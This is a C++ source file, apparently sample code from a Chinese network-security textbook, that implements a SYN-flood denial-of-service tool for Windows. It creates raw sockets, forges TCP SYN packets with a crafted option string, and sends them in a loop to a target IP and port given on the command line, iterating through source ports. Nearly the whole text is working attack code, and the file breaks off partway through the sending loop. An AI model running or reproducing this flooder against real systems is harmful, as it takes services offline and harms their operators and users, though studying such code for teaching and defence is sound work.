dos.cpp

“网络安全技术实践与代码详解”实例代码

/*****************************/
/* Thanks to Author LionD8   */
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include <ws2tcpip.h>
#include "wchar.h"

#pragma comment(lib, "ws2_32.lib")

#define SIO_RCVALL      _WSAIOW(IOC_VENDOR,1)

char*    TargetIP; // 目标机IP
USHORT    TargetPort; // 目标端口
USHORT    StartPort = 1; // 起始端口
int        Interval; // 发包时间间隔
UCHAR* outflowbuf = NULL;    //  选项字节
char* psend = NULL; // 伪造数据
DWORD len = 0; // 伪造数据长度
USHORT optlen= 0; // 选项字节长度

// 定义IP首部格式
typedef struct _IPHeader      
{ 
    unsigned char h_verlen;    // 版本和首部长度  
    unsigned char tos;         // 服务类型       
    unsigned short total_len;  // 总长度 
    unsigned short ident;      // 标识号     
    unsigned short frag_and_flags;  // 段偏移量
    unsigned char ttl;         // 生存时间       
    unsigned char proto;       // 协议   
    unsigned short checksum;   // 首部校验和
    unsigned int sourceIP;     // 源IP地址  
    unsigned int destIP;       // 目的地址   
}IPHEADER;

// 定义TCP首部格式
typedef struct _TCPHeader 
{ 
    USHORT th_sport;  // 源端口号        
    USHORT th_dport;  // 目的端口号       
    unsigned int th_seq;  // SEQ序号    
    unsigned int th_ack;  // ACK序号
    unsigned char th_lenres;  //  首部长度    
    unsigned char th_flag;   // 控制位  
    USHORT th_win;  // 窗口大小        
    USHORT th_sum;  // 校验和        
    USHORT th_urp;  // 紧急指针         
}TCPHEADER; 

// 定义伪首部格式
typedef struct _PSDHeader
{ 
    unsigned long saddr;  // 源地址  
    unsigned long daddr;  // 目的地址 
    char mbz; 
    char ptcl;            // 协议类型   
    unsigned short tcpl;  // TCP长度
}PSDHEADER;

// 定义攻击目标结构
typedef struct _AttackObj
{
    DWORD    dwIP; // 目标机IP
    USHORT    uAttackPort[11]; // 目标机端口 
    struct _AttackObj*    Next; 
}ATOBJ;


ATOBJ*    ListAttackObj=0;
// 初始化原始套接字
BOOL    InitRawSocket();
// 获取本地IP地址
DWORD    GetLocalIP();
// 计算校验和
USHORT    checksum(USHORT *buffer, int size);
// 发送SYN洪水攻击
DWORD    WINAPI  SYNThreadFlood(LPVOID lp);
// 发送数据
void    SendData(DWORD SEQ, DWORD ACK, 
				 USHORT SPort, USHORT APort, 
				 DWORD SIP, DWORD AIP, char* pBuf,
				 BOOL Isdata,DWORD dwSize);
// 监听端口功能
DWORD   WINAPI  ListeningFunc(LPVOID lpvoid);
// 转换成选项字节
void ConvertOpt (CHAR* pu);

SOCKET sock = NULL;

int main(int argc, char* argv[])
{
    psend = (char*)malloc(800);
    memset(psend,0x38,799);
    psend[799] = 0;
    len = strlen(psend);
    if ( argc < 3)
    {
        printf("input error!\n");
        return -1;
    }
	// 获取目标机IP
    TargetIP = strdup(argv[1]);
    TargetPort = atoi(argv[2]);
    // 定义攻击字符串
    
    if ( argc == 3)
        Interval = 100; // 默认发包间隔
    if ( argc == 4)
    {   // 获取发包间隔参数
        Interval = atoi(argv[3]);
    }
	CHAR* optbuftemp = "020405B401010402";    
    ConvertOpt (optbuftemp); // 转换溢出字符串
    outflowbuf[3]-=1;
    char HostName[255]={0};
	// 初始化原始套接字
    if ( InitRawSocket() == FALSE )
        return -1;
    if ( outflowbuf != NULL)
    {
        int i=0;
        struct hostent* lp = NULL;
        
        gethostname(HostName,255);
        lp = gethostbyname (HostName);
        while ( lp->h_addr_list[i] != NULL )
        {
            HANDLE    h=NULL;
            DWORD    dwIP=0;    
            dwIP = *(DWORD*)lp->h_addr_list[i++];
			// 创建监听线程
            h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);            
            if ( h == NULL )
            {
                printf("Create ListeningFunc Thread Failed!\n");
                return -1;
            }
            Sleep(500);
        }
		    // 发起SYN洪水攻击
            SYNThreadFlood(NULL);
    }
    else return -1;
    // 无限发包开始
    Sleep(INFINITE);

}

// 初始化原始套接字
BOOL InitRawSocket()
{
    BOOL flag;
    int  nTimeOver;
    WSADATA WSAData; 
	// 初始化Winsock库
    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
    { 
        printf("WSAStartup Error!\n");
        return FALSE;
    }
	// 设计攻击目标相关参数
    ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
    ListAttackObj->dwIP = inet_addr( TargetIP );
    ListAttackObj->uAttackPort[0] = htons(TargetPort);
    ListAttackObj->uAttackPort[1] = 0;
    ListAttackObj->Next=NULL;
    sock=NULL;
	// 创建原始套接字
    if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf("Socket Create Failed:%d\n",WSAGetLastError());
        return FALSE;
    }
    flag=true; 
	// 设置套接字参数
    if (setsockopt(sock,IPPROTO_IP, 
		IP_HDRINCL,(char *)&flag,
		sizeof(flag))==SOCKET_ERROR) 
    { 
        printf("setsockopt IP_HDRINCL failed:%d\n",WSAGetLastError());
        return FALSE; 
    } 
    nTimeOver=2000;
	// 设置发送的时间
    if (setsockopt(sock, SOL_SOCKET, 
		SO_SNDTIMEO, (char*)&nTimeOver, 
		sizeof(nTimeOver))==SOCKET_ERROR)                                
    {
        printf("setsockopt SO_SNDTIMEO failed:%d\n",WSAGetLastError());
        return FALSE; 
    }    
    return TRUE;
}
// SYN洪水攻击线程函数
DWORD  WINAPI  SYNThreadFlood(LPVOID lp)
{
    ATOBJ* pAtObj = ListAttackObj;
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
    char szSendBuf[1024]={0};
    int i=0;
	
    while (  pAtObj != NULL )
    {
		// 开始填充IP包和TCP包
        addr_in.sin_family=AF_INET;
        addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
        ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
        ipHeader.tos=0;
        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen);
        ipHeader.ident=1;
        ipHeader.frag_and_flags=0x0040;                
        ipHeader.ttl=0x80;
		// 设置数据包为TCP包
        ipHeader.proto=IPPROTO_TCP;
        ipHeader.checksum=0;
        ipHeader.destIP=pAtObj->dwIP;
		// 设置源地址为本机IP地址
        ipHeader.sourceIP = GetLocalIP();
        tcpHeader.th_ack=0;    
        tcpHeader.th_lenres = (optlen/4+5)<<4;
        tcpHeader.th_flag=2;             
        tcpHeader.th_win=htons(0x4470);
        tcpHeader.th_urp=0;
        tcpHeader.th_seq=htonl(0x00198288);
        for ( int l=StartPort; l<65535;l++)
        {
            int k =0;
            while ( pAtObj->uAttackPort[k] != 0 )
            {
				// 开始伪造数据包
                tcpHeader.th_dport=pAtObj->uAttackPort[k++];
                psdHeader.daddr=ipHeader.destIP;
                psdHeader.mbz=0;
                psdHeader.ptcl=IPPROTO_TCP;
                psdHeader.tcpl=htons(sizeof(tcpHeader));
                int sendnum = 0;            
                int optlentemp = optlen;
                tcpHeader.th_sport=htons(l);
                tcpHeader.th_sum=0;
                psdHeader.saddr=ipHeader.sourceIP;
				// 复制数据段
                memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
                memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
                memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
				// 重新计算校验和
                tcpHeader.th_sum=checksum((USHORT *)szSendBuf,
					sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp); 
                tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);        
                memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
                memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
                memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
				// 开始向目标机发送SYN数据包
                int rect=sendto(sock, szSendBuf, 
					sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp, 
					0, (struct sockaddr*)&addr_in, sizeof(addr_in));
                if ( sendnum++ > 10 )